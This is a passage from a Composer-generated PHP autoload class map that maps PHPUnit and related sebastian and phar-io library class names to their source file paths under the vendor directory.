'/phar-io/manifest/src/xml/ComponentElement.php', 'PharIo\\Manifest\\ComponentElementCollection' => $vendorDir . '/phar-io/manifest/src/xml/ComponentElementCollection.php', 'PharIo\\Manifest\\ContainsElement' => $vendorDir . '/phar-io/manifest/src/xml/ContainsElement.php', 'PharIo\\Manifest\\CopyrightElement' => $vendorDir . '/phar-io/manifest/src/xml/CopyrightElement.php', 'PharIo\\Manifest\\CopyrightInformation' => $vendorDir . '/phar-io/manifest/src/values/CopyrightInformation.php', 'PharIo\\Manifest\\ElementCollection' => $vendorDir . '/phar-io/manifest/src/xml/ElementCollection.php', 'PharIo\\Manifest\\ElementCollectionException' => $vendorDir . '/phar-io/manifest/src/exceptions/ElementCollectionException.php', 'PharIo\\Manifest\\Email' => $vendorDir . '/phar-io/manifest/src/values/Email.php', 'PharIo\\Manifest\\Exception' => $vendorDir . '/phar-io/manifest/src/exceptions/Exception.php', 'PharIo\\Manifest\\ExtElement' => $vendorDir . '/phar-io/manifest/src/xml/ExtElement.php', 'PharIo\\Manifest\\ExtElementCollection' => $vendorDir . '/phar-io/manifest/src/xml/ExtElementCollection.php', 'PharIo\\Manifest\\Extension' => $vendorDir . '/phar-io/manifest/src/values/Extension.php', 'PharIo\\Manifest\\ExtensionElement' => $vendorDir . '/phar-io/manifest/src/xml/ExtensionElement.php', 'PharIo\\Manifest\\InvalidApplicationNameException' => $vendorDir . '/phar-io/manifest/src/exceptions/InvalidApplicationNameException.php', 'PharIo\\Manifest\\InvalidEmailException' => $vendorDir . '/phar-io/manifest/src/exceptions/InvalidEmailException.php', 'PharIo\\Manifest\\InvalidUrlException' => $vendorDir . '/phar-io/manifest/src/exceptions/InvalidUrlException.php', 'PharIo\\Manifest\\Library' => $vendorDir . '/phar-io/manifest/src/values/Library.php', 'PharIo\\Manifest\\License' => $vendorDir . '/phar-io/manifest/src/values/License.php', 'PharIo\\Manifest\\LicenseElement' => $vendorDir . '/phar-io/manifest/src/xml/LicenseElement.php', 'PharIo\\Manifest\\Manifest' => $vendorDir . '/phar-io/manifest/src/values/Manifest.php', 'PharIo\\Manifest\\ManifestDocument' => $vendorDir . '/phar-io/manifest/src/xml/ManifestDocument.php', 'PharIo\\Manifest\\ManifestDocumentException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestDocumentException.php', 'PharIo\\Manifest\\ManifestDocumentLoadingException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestDocumentLoadingException.php', 'PharIo\\Manifest\\ManifestDocumentMapper' => $vendorDir . '/phar-io/manifest/src/ManifestDocumentMapper.php', 'PharIo\\Manifest\\ManifestDocumentMapperException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestDocumentMapperException.php', 'PharIo\\Manifest\\ManifestElement' => $vendorDir . '/phar-io/manifest/src/xml/ManifestElement.php', 'PharIo\\Manifest\\ManifestElementException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestElementException.php', 'PharIo\\Manifest\\ManifestLoader' => $vendorDir . '/phar-io/manifest/src/ManifestLoader.php', 'PharIo\\Manifest\\ManifestLoaderException' => $vendorDir . '/phar-io/manifest/src/exceptions/ManifestLoaderException.php', 'PharIo\\Manifest\\ManifestSerializer' => $vendorDir . '/phar-io/manifest/src/ManifestSerializer.php', 'PharIo\\Manifest\\PhpElement' => $vendorDir . '/phar-io/manifest/src/xml/PhpElement.php', 'PharIo\\Manifest\\PhpExtensionRequirement' => $vendorDir . '/phar-io/manifest/src/values/PhpExtensionRequirement.php', 'PharIo\\Manifest\\PhpVersionRequirement' => $vendorDir . '/phar-io/manifest/src/values/PhpVersionRequirement.php', 'PharIo\\Manifest\\Requirement' => $vendorDir . '/phar-io/manifest/src/values/Requirement.php', 'PharIo\\Manifest\\RequirementCollection' => $vendorDir . '/phar-io/manifest/src/values/RequirementCollection.php', 'PharIo\\Manifest\\RequirementCollectionIterator' => $vendorDir . '/phar-io/manifest/src/values/RequirementCollectionIterator.php', 'PharIo\\Manifest\\RequiresElement' => $vendorDir . '/phar-io/manifest/src/xml/RequiresElement.php', 'PharIo\\Manifest\\Type' => $vendorDir . '/phar-io/manifest/src/values/Type.php', 'PharIo\\Manifest\\Url' => $vendorDir . '/phar-io/manifest/src/values/Url.php', 'PharIo\\Version\\AbstractVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/AbstractVersionConstraint.php', 'PharIo\\Version\\AndVersionConstraintGroup' => $vendorDir . '/phar-io/version/src/constraints/AndVersionConstraintGroup.php', 'PharIo\\Version\\AnyVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/AnyVersionConstraint.php', 'PharIo\\Version\\BuildMetaData' => $vendorDir . '/phar-io/version/src/BuildMetaData.php', 'PharIo\\Version\\ExactVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/ExactVersionConstraint.php', 'PharIo\\Version\\Exception' => $vendorDir . '/phar-io/version/src/exceptions/Exception.php', 'PharIo\\Version\\GreaterThanOrEqualToVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/GreaterThanOrEqualToVersionConstraint.php', 'PharIo\\Version\\InvalidPreReleaseSuffixException' => $vendorDir . '/phar-io/version/src/exceptions/InvalidPreReleaseSuffixException.php', 'PharIo\\Version\\InvalidVersionException' => $vendorDir . '/phar-io/version/src/exceptions/InvalidVersionException.php', 'PharIo\\Version\\NoBuildMetaDataException' => $vendorDir . '/phar-io/version/src/exceptions/NoBuildMetaDataException.php', 'PharIo\\Version\\NoPreReleaseSuffixException' => $vendorDir . '/phar-io/version/src/exceptions/NoPreReleaseSuffixException.php', 'PharIo\\Version\\OrVersionConstraintGroup' => $vendorDir . '/phar-io/version/src/constraints/OrVersionConstraintGroup.php', 'PharIo\\Version\\PreReleaseSuffix' => $vendorDir . '/phar-io/version/src/PreReleaseSuffix.php', 'PharIo\\Version\\SpecificMajorAndMinorVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/SpecificMajorAndMinorVersionConstraint.php', 'PharIo\\Version\\SpecificMajorVersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/SpecificMajorVersionConstraint.php', 'PharIo\\Version\\UnsupportedVersionConstraintException' => $vendorDir . '/phar-io/version/src/exceptions/UnsupportedVersionConstraintException.php', 'PharIo\\Version\\Version' => $vendorDir . '/phar-io/version/src/Version.php', 'PharIo\\Version\\VersionConstraint' => $vendorDir . '/phar-io/version/src/constraints/VersionConstraint.php', 'PharIo\\Version\\VersionConstraintParser' => $vendorDir . '/phar-io/version/src/VersionConstraintParser.php', 'PharIo\\Version\\VersionConstraintValue' => $vendorDir . '/phar-io/version/src/VersionConstraintValue.php', 'PharIo\\Version\\VersionNumber' => $vendorDir . '/phar-io/version/src/VersionNumber.php', 'SebastianBergmann\\CliParser\\AmbiguousOptionException' => $vendorDir . '/sebastian/cli-parser/src/exceptions/AmbiguousOptionException.php', 'SebastianBergmann\\CliParser\\Exception' => $vendorDir . '/sebastian/cli-parser/src/exceptions/Exception.php', 'SebastianBergmann\\CliParser\\OptionDoesNotAllowArgumentException' => $vendorDir . '/sebastian/cli-parser/src/exceptions/OptionDoesNotAllowArgumentException.php', 'SebastianBergmann\\CliParser\\Parser' => $vendorDir . '/sebastian/cli-parser/src/Parser.php', 'SebastianBergmann\\CliParser\\RequiredOptionArgumentMissingException' => $vendorDir . '/sebastian/cli-parser/src/exceptions/RequiredOptionArgumentMissingException.php', 'SebastianBergmann\\CliParser\\UnknownOptionException' => $vendorDir . '/sebastian/cli-parser/src/exceptions/UnknownOptionException.php', 'SebastianBergmann\\CodeCoverage\\BranchAndPathCoverageNotSupportedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/BranchAndPathCoverageNotSupportedException.php', 'SebastianBergmann\\CodeCoverage\\CodeCoverage' => $vendorDir . '/phpunit/php-code-coverage/src/CodeCoverage.php', 'SebastianBergmann\\CodeCoverage\\DeadCodeDetectionNotSupportedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/DeadCodeDetectionNotSupportedException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Driver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/Driver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PathExistsButIsNotDirectoryException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/PathExistsButIsNotDirectoryException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PcovDriver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/PcovDriver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PcovNotAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/PcovNotAvailableException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PhpdbgDriver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/PhpdbgDriver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PhpdbgNotAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/PhpdbgNotAvailableException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Selector' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/Selector.php', 'SebastianBergmann\\CodeCoverage\\Driver\\WriteOperationFailedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/WriteOperationFailedException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\WrongXdebugVersionException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/WrongXdebugVersionException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug2Driver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/Xdebug2Driver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug2NotEnabledException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/Xdebug2NotEnabledException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug3Driver' => $vendorDir . '/phpunit/php-code-coverage/src/Driver/Xdebug3Driver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug3NotEnabledException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/Xdebug3NotEnabledException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\XdebugNotAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/XdebugNotAvailableException.php', 'SebastianBergmann\\CodeCoverage\\Exception' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/Exception.php', 'SebastianBergmann\\CodeCoverage\\Filter' => $vendorDir . '/phpunit/php-code-coverage/src/Filter.php', 'SebastianBergmann\\CodeCoverage\\InvalidArgumentException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/InvalidArgumentException.php', 'SebastianBergmann\\CodeCoverage\\NoCodeCoverageDriverAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverAvailableException.php', 'SebastianBergmann\\CodeCoverage\\NoCodeCoverageDriverWithPathCoverageSupportAvailableException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverWithPathCoverageSupportAvailableException.php', 'SebastianBergmann\\CodeCoverage\\Node\\AbstractNode' => $vendorDir . '/phpunit/php-code-coverage/src/Node/AbstractNode.php', 'SebastianBergmann\\CodeCoverage\\Node\\Builder' => $vendorDir . '/phpunit/php-code-coverage/src/Node/Builder.php', 'SebastianBergmann\\CodeCoverage\\Node\\CrapIndex' => $vendorDir . '/phpunit/php-code-coverage/src/Node/CrapIndex.php', 'SebastianBergmann\\CodeCoverage\\Node\\Directory' => $vendorDir . '/phpunit/php-code-coverage/src/Node/Directory.php', 'SebastianBergmann\\CodeCoverage\\Node\\File' => $vendorDir . '/phpunit/php-code-coverage/src/Node/File.php', 'SebastianBergmann\\CodeCoverage\\Node\\Iterator' => $vendorDir . '/phpunit/php-code-coverage/src/Node/Iterator.php', 'SebastianBergmann\\CodeCoverage\\ParserException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/ParserException.php', 'SebastianBergmann\\CodeCoverage\\ProcessedCodeCoverageData' => $vendorDir . '/phpunit/php-code-coverage/src/ProcessedCodeCoverageData.php', 'SebastianBergmann\\CodeCoverage\\RawCodeCoverageData' => $vendorDir . '/phpunit/php-code-coverage/src/RawCodeCoverageData.php', 'SebastianBergmann\\CodeCoverage\\ReflectionException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/ReflectionException.php', 'SebastianBergmann\\CodeCoverage\\ReportAlreadyFinalizedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/ReportAlreadyFinalizedException.php', 'SebastianBergmann\\CodeCoverage\\Report\\Clover' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Clover.php', 'SebastianBergmann\\CodeCoverage\\Report\\Cobertura' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Cobertura.php', 'SebastianBergmann\\CodeCoverage\\Report\\Crap4j' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Crap4j.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Dashboard' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Renderer/Dashboard.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Directory' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Renderer/Directory.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Facade' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Facade.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\File' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Renderer/File.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Renderer' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Html/Renderer.php', 'SebastianBergmann\\CodeCoverage\\Report\\PHP' => $vendorDir . '/phpunit/php-code-coverage/src/Report/PHP.php', 'SebastianBergmann\\CodeCoverage\\Report\\Text' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Text.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\BuildInformation' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/BuildInformation.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Coverage' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Coverage.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Directory' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Directory.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Facade' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Facade.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\File' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/File.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Method' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Method.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Node' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Node.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Project' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Project.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Report' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Report.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Source' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Source.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Tests' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Tests.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Totals' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Totals.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Unit' => $vendorDir . '/phpunit/php-code-coverage/src/Report/Xml/Unit.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysisCacheNotConfiguredException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/StaticAnalysisCacheNotConfiguredException.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CacheWarmer' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/CacheWarmer.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CachingFileAnalyser' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/CachingFileAnalyser.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CodeUnitFindingVisitor' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/CodeUnitFindingVisitor.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\ExecutableLinesFindingVisitor' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/ExecutableLinesFindingVisitor.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\FileAnalyser' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/FileAnalyser.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\IgnoredLinesFindingVisitor' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/IgnoredLinesFindingVisitor.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\ParsingFileAnalyser' => $vendorDir . '/phpunit/php-code-coverage/src/StaticAnalysis/ParsingFileAnalyser.php', 'SebastianBergmann\\CodeCoverage\\TestIdMissingException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/TestIdMissingException.php', 'SebastianBergmann\\CodeCoverage\\UnintentionallyCoveredCodeException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/UnintentionallyCoveredCodeException.php', 'SebastianBergmann\\CodeCoverage\\Util\\DirectoryCouldNotBeCreatedException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/DirectoryCouldNotBeCreatedException.php', 'SebastianBergmann\\CodeCoverage\\Util\\Filesystem' => $vendorDir . '/phpunit/php-code-coverage/src/Util/Filesystem.php', 'SebastianBergmann\\CodeCoverage\\Util\\Percentage' => $vendorDir . '/phpunit/php-code-coverage/src/Util/Percentage.php', 'SebastianBergmann\\CodeCoverage\\Version' => $vendorDir . '/phpunit/php-code-coverage/src/Version.php', 'SebastianBergmann\\CodeCoverage\\XmlException' => $vendorDir . '/phpunit/php-code-coverage/src/Exception/XmlException.php', 'SebastianBergmann\\CodeUnitReverseLookup\\Wizard' => $vendorDir . '/sebastian/code-unit-reverse-lookup/src/Wizard.php', 'SebastianBergmann\\CodeUnit\\ClassMethodUnit' => $vendorDir . '/sebastian/code-unit/src/ClassMethodUnit.php', 'SebastianBergmann\\CodeUnit\\ClassUnit' => $vendorDir . '/sebastian/code-unit/src/ClassUnit.php', 'SebastianBergmann\\CodeUnit\\CodeUnit' => $vendorDir . '/sebastian/code-unit/src/CodeUnit.php', 'SebastianBergmann\\CodeUnit\\CodeUnitCollection' => $vendorDir . '/sebastian/code-unit/src/CodeUnitCollection.php', 'SebastianBergmann\\CodeUnit\\CodeUnitCollectionIterator' => $vendorDir . '/sebastian/code-unit/src/CodeUnitCollectionIterator.php', 'SebastianBergmann\\CodeUnit\\Exception' => $vendorDir . '/sebastian/code-unit/src/exceptions/Exception.php', 'SebastianBergmann\\CodeUnit\\FunctionUnit' => $vendorDir . '/sebastian/code-unit/src/FunctionUnit.php', 'SebastianBergmann\\CodeUnit\\InterfaceMethodUnit' => $vendorDir . '/sebastian/code-unit/src/InterfaceMethodUnit.php', 'SebastianBergmann\\CodeUnit\\InterfaceUnit' => $vendorDir . '/sebastian/code-unit/src/InterfaceUnit.php', 'SebastianBergmann\\CodeUnit\\InvalidCodeUnitException' => $vendorDir . '/sebastian/code-unit/src/exceptions/InvalidCodeUnitException.php', 'SebastianBergmann\\CodeUnit\\Mapper' => $vendorDir . '/sebastian/code-unit/src/Mapper.php', 'SebastianBergmann\\CodeUnit\\NoTraitException' => $vendorDir . '/sebastian/code-unit/src/exceptions/NoTraitException.php', 'SebastianBergmann\\CodeUnit\\ReflectionException' => $vendorDir . '/sebastian/code-unit/src/exceptions/ReflectionException.php', 'SebastianBergmann\\CodeUnit\\TraitMethodUnit' => $vendorDir . '/sebastian/code-unit/src/TraitMethodUnit.php', 'SebastianBergmann\\CodeUnit\\TraitUnit' => $vendorDir . '/sebastian/code-unit/src/TraitUnit.php', 'SebastianBergmann\\Comparator\\ArrayComparator' => $vendorDir . '/sebastian/comparator/src/ArrayComparator.php', 'SebastianBergmann\\Comparator\\Comparator' => $vendorDir . '/sebastian/comparator/src/Comparator.php', 'SebastianBergmann\\Comparator\\ComparisonFailure' => $vendorDir . '/sebastian/comparator/src/ComparisonFailure.php', 'SebastianBergmann\\Comparator\\DOMNodeComparator' => $vendorDir . '/sebastian/comparator/src/DOMNodeComparator.php', 'SebastianBergmann\\Comparator\\DateTimeComparator' => $vendorDir . '/sebastian/comparator/src/DateTimeComparator.php', 'SebastianBergmann\\Comparator\\DoubleComparator' => $vendorDir . '/sebastian/comparator/src/DoubleComparator.php', 'SebastianBergmann\\Comparator\\Exception' => $vendorDir . '/sebastian/comparator/src/exceptions/Exception.php', 'SebastianBergmann\\Comparator\\ExceptionComparator' => $vendorDir . '/sebastian/comparator/src/ExceptionComparator.php', 'SebastianBergmann\\Comparator\\Factory' => $vendorDir . '/sebastian/comparator/src/Factory.php', 'SebastianBergmann\\Comparator\\MockObjectComparator' => $vendorDir . '/sebastian/comparator/src/MockObjectComparator.php', 'SebastianBergmann\\Comparator\\NumericComparator' => $vendorDir . '/sebastian/comparator/src/NumericComparator.php', 'SebastianBergmann\\Comparator\\ObjectComparator' => $vendorDir . '/sebastian/comparator/src/ObjectComparator.php', 'SebastianBergmann\\Comparator\\ResourceComparator' => $vendorDir . '/sebastian/comparator/src/ResourceComparator.php', 'SebastianBergmann\\Comparator\\RuntimeException' => $vendorDir . '/sebastian/comparator/src/exceptions/RuntimeException.php', 'SebastianBergmann\\Comparator\\ScalarComparator' => $vendorDir . '/sebastian/comparator/src/ScalarComparator.php', 'SebastianBergmann\\Comparator\\SplObjectStorageComparator' => $vendorDir . '/sebastian/comparator/src/SplObjectStorageComparator.php', 'SebastianBergmann\\Comparator\\TypeComparator' => $vendorDir . '/sebastian/comparator/src/TypeComparator.php', 'SebastianBergmann\\Complexity\\Calculator' => $vendorDir . '/sebastian/complexity/src/Calculator.php', 'SebastianBergmann\\Complexity\\Complexity' => $vendorDir . '/sebastian/complexity/src/Complexity/Complexity.php', 'SebastianBergmann\\Complexity\\ComplexityCalculatingVisitor' => $vendorDir . '/sebastian/complexity/src/Visitor/ComplexityCalculatingVisitor.php', 'SebastianBergmann\\Complexity\\ComplexityCollection' => $vendorDir . '/sebastian/complexity/src/Complexity/ComplexityCollection.php', 'SebastianBergmann\\Complexity\\ComplexityCollectionIterator' => $vendorDir . '/sebastian/complexity/src/Complexity/ComplexityCollectionIterator.php', 'SebastianBergmann\\Complexity\\CyclomaticComplexityCalculatingVisitor' => $vendorDir . '/sebastian/complexity/src/Visitor/CyclomaticComplexityCalculatingVisitor.php', 'SebastianBergmann\\Complexity\\Exception' => $vendorDir . '/sebastian/complexity/src/Exception/Exception.php', 'SebastianBergmann\\Complexity\\RuntimeException' => $vendorDir . '/sebastian/complexity/src/Exception/RuntimeException.php', 'SebastianBergmann\\Diff\\Chunk' => $vendorDir . '/sebastian/diff/src/Chunk.php', 'SebastianBergmann\\Diff\\ConfigurationException' => $vendorDir . '/sebastian/diff/src/Exception/ConfigurationException.php', 'SebastianBergmann\\Diff\\Diff' => $vendorDir . '/sebastian/diff/src/Diff.php', 'SebastianBergmann\\Diff\\Differ' => $vendorDir . '/sebastian/diff/src/Differ.php', 'SebastianBergmann\\Diff\\Exception' => $vendorDir . '/sebastian/diff/src/Exception/Exception.php', 'SebastianBergmann\\Diff\\InvalidArgumentException' => $vendorDir . '/sebastian/diff/src/Exception/InvalidArgumentException.php', 'SebastianBergmann\\Diff\\Line' => $vendorDir . '/sebastian/diff/src/Line.php', 'SebastianBergmann\\Diff\\LongestCommonSubsequenceCalculator' => $vendorDir . '/sebastian/diff/src/LongestCommonSubsequenceCalculator.php', 'SebastianBergmann\\Diff\\MemoryEfficientLongestCommonSubsequenceCalculator' => $vendorDir . '/sebastian/diff/src/MemoryEfficientLongestCommonSubsequenceCalculator.php', 'SebastianBergmann\\Diff\\Output\\AbstractChunkOutputBuilder' => $vendorDir . '/sebastian/diff/src/Output/AbstractChunkOutputBuilder.php', 'SebastianBergmann\\Diff\\Output\\DiffOnlyOutputBuilder' => $vendorDir . '/sebastian/diff/src/Output/DiffOnlyOutputBuilder.php', 'SebastianBergmann\\Diff\\Output\\DiffOutputBuilderInterface' => $vendorDir . '/sebastian/diff/src/Output/DiffOutputBuilderInterface.php', 'SebastianBergmann\\Diff\\Output\\StrictUnifiedDiffOutputBuilder' => $vendorDir . '/sebastian/diff/src/Output/StrictUnifiedDiffOutputBuilder.php', 'SebastianBergmann\\Diff\\Output\\UnifiedDiffOutputBuilder' => $vendorDir . '/sebastian/diff/src/Output/UnifiedDiffOutputBuilder.php', 'SebastianBergmann\\Diff\\Parser' => $vendorDir . '/sebastian/diff/src/Parser.php', 'SebastianBergmann\\Diff\\TimeEfficientLongestCommonSubsequenceCalculator' => $vendorDir . '/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php', 'SebastianBergmann\\Environment\\Console' => $vendorDir . '/sebastian/environment/src/Console.php', 'SebastianBergmann\\Environment\\OperatingSystem' => $vendorDir . '/sebastian/environment/src/OperatingSystem.php', 'SebastianBergmann\\Environment\\Runtime' => $vendorDir . '/sebastian/environment/src/Runtime.php', 'SebastianBergmann\\Exporter\\Exporter' => $vendorDir . '/sebastian/exporter/src/Exporter.php', 'SebastianBergmann\\FileIterator\\Facade' => $vendorDir . '/phpunit/php-file-iterator/src/Facade.php', 'SebastianBergmann\\FileIterator\\Factory' => $vendorDir . '/phpunit/php-file-iterator/src/Factory.php', 'SebastianBergmann\\FileIterator\\Iterator' => $vendorDir . '/phpunit/php-file-iterator/src/Iterator.php', 'SebastianBergmann\\GlobalState\\CodeExporter' => $vendorDir . '/sebastian/global-state/src/CodeExporter.php', 'SebastianBergmann\\GlobalState\\Exception' => $vendorDir . '/sebastian/global-state/src/exceptions/Exception.php', 'SebastianBergmann\\GlobalState\\ExcludeList' => $vendorDir . '/sebastian/global-state/src/ExcludeList.php', 'SebastianBergmann\\GlobalState\\Restorer' => $vendorDir . '/sebastian/global-state/src/Restorer.php', 'SebastianBergmann\\GlobalState\\RuntimeException' => $vendorDir . '/sebastian/global-state/src/exceptions/RuntimeException.php', 'SebastianBergmann\\GlobalState\\Snapshot' => $vendorDir . '/sebastian/global-state/src/Snapshot.php', 'SebastianBergmann\\Invoker\\Exception' => $vendorDir . '/phpunit/php-invoker/src/exceptions/Exception.php', 'SebastianBergmann\\Invoker\\Invoker' => $vendorDir . '/phpunit/php-invoker/src/Invoker.php', 'SebastianBergmann\\Invoker\\ProcessControlExtensionNotLoadedException' => $vendorDir . '/phpunit/php-invoker/src/exceptions/ProcessControlExtensionNotLoadedException.php', 'SebastianBergmann\\Invoker\\TimeoutException' => $vendorDir . '/phpunit/php-invoker/src/exceptions/TimeoutException.php', 'SebastianBergmann\\LinesOfCode\\Counter' => $vendorDir . '/sebastian/lines-of-code/src/Counter.php', 'SebastianBergmann\\LinesOfCode\\Exception' => $vendorDir . '/sebastian/lines-of-code/src/Exception/Exception.php', 'SebastianBergmann\\LinesOfCode\\IllogicalValuesException' => $vendorDir . '/sebastian/lines-of-code/src/Exception/IllogicalValuesException.php', 'SebastianBergmann\\LinesOfCode\\LineCountingVisitor' => $vendorDir . '/sebastian/lines-of-code/src/LineCountingVisitor.php', 'SebastianBergmann\\LinesOfCode\\LinesOfCode' => $vendorDir . '/sebastian/lines-of-code/src/LinesOfCode.php', 'SebastianBergmann\\LinesOfCode\\NegativeValueException' => $vendorDir . '/sebastian/lines-of-code/src/Exception/NegativeValueException.php', 'SebastianBergmann\\LinesOfCode\\RuntimeException' => $vendorDir . '/sebastian/lines-of-code/src/Exception/RuntimeException.php', 'SebastianBergmann\\ObjectEnumerator\\Enumerator' => $vendorDir . '/sebastian/object-enumerator/src/Enumerator.php', 'SebastianBergmann\\ObjectEnumerator\\Exception' => $vendorDir . '/sebastian/object-enumerator/src/Exception.php', 'SebastianBergmann\\ObjectEnumerator\\InvalidArgumentException' => $vendorDir . '/sebastian/object-enumerator/src/InvalidArgumentException.php', 'SebastianBergmann\\ObjectReflector\\Exception' => $vendorDir . '/sebastian/object-reflector/src/Exception.php', 'SebastianBergmann\\ObjectReflector\\InvalidArgumentException' => $vendorDir . '/sebastian/object-reflector/src/InvalidArgumentException.php', 'SebastianBergmann\\ObjectReflector\\ObjectReflector' => $vendorDir . '/sebastian/object-reflector/src/ObjectReflector.php', 'SebastianBergmann\\RecursionContext\\Context' => $vendorDir . '/sebastian/recursion-context/src/Context.php', 'SebastianBergmann\\RecursionContext\\Exception' => $vendorDir . '/sebastian/recursion-context/src/Exception.php', 'SebastianBergmann\\RecursionContext\\InvalidArgumentException' => $vendorDir . '/sebastian/recursion-context/src/InvalidArgumentException.php', 'SebastianBergmann\\ResourceOperations\\ResourceOperations' => $vendorDir . '/sebastian/resource-operations/src/ResourceOperations.php', 'SebastianBergmann\\Template\\Exception' => $vendorDir . '/phpunit/php-text-template/src/exceptions/Exception.php', 'SebastianBergmann\\Template\\InvalidArgumentException' => $vendorDir . '/phpunit/php-text-template/src/exceptions/InvalidArgumentException.php', 'SebastianBergmann\\Template\\RuntimeException' => $vendorDir . '/phpunit/php-text-template/src/exceptions/RuntimeException.php', 'SebastianBergmann\\Template\\Template' => $vendorDir . '/phpunit/php-text-template/src/Template.php', 'SebastianBergmann\\Timer\\Duration' => $vendorDir . '/phpunit/php-timer/src/Duration.php', 'SebastianBergmann\\Timer\\Exception' => $vendorDir . '/phpunit/php-timer/src/exceptions/Exception.php', 'SebastianBergmann\\Timer\\NoActiveTimerException' => 